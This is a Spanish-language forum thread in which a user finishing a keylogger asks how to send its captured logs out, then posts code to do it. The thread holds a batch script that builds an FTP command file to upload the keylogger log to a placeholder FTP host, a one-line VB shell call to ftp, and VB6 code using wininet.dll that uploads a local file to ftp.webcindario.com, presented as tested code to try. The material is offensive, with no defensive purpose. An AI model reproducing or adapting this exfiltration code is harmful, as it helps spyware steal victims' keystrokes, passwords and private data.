Autor
|
Tema: Enviar logs... (Leído 1,471 veces)
|
BenRu
The Prodigy
Desconectado
Mensajes: 4.006
|
Pues estoy terminando un keylogger y ahora estoy con eso de enviar los logs.. He probado por ftp en batch e inet, y ninguno me han funcionado... @echo off echo TUNOMBRE > C:\datos.txt echo TUPASS >> C:\datos.txt echo put C:\datos.txt datos.txt >> C:\datos.txt echo put C:\archivodelkeyloger keylogger >> C:\datos.txt echo bye >> C:\datos.txt ftp -s:C:\datos.txt ftp.TUFTP.com exit
Shell "cmd.exe /c ftp -s:C:\text.txt ftp://host.com"
Aver si alguien me puede ayudar con algun code... Un saludo
|
|
|
En línea
|
|
|
|
BenRu
The Prodigy
Desconectado
Mensajes: 4.006
|
Aqui os dejo un code, programado por Kizar'Declaraciones Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean Const INTERNET_OPEN_TYPE_PRECONFIG = 0 Const INTERNET_DEFAULT_FTP_PORT = 21 Const INTERNET_SERVICE_FTP = 1 Const PassiveConnection As Boolean = True Const INTERNET_FLAG_PASSIVE = &H8000000 Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
Dim hConnection, hOpen, Num As Long
'Subir el archivo a un ftp
hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0) DoEvents hConnection = InternetConnect(hOpen, "ftp.webcindario.com", INTERNET_DEFAULT_FTP_PORT, "usuario", "password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0) DoEvents FtpSetCurrentDirectory hConnection, "\" DoEvents FtpPutFile hConnection, "C:\ruta_local.txt", "nombre_remoto.txt", FTP_TRANSFER_TYPE_UNKNOWN, 0 DoEvents InternetCloseHandle hConnection InternetCloseHandle hOpen
Pruebenlo
|
|
|
En línea
|
|
|
|
|
|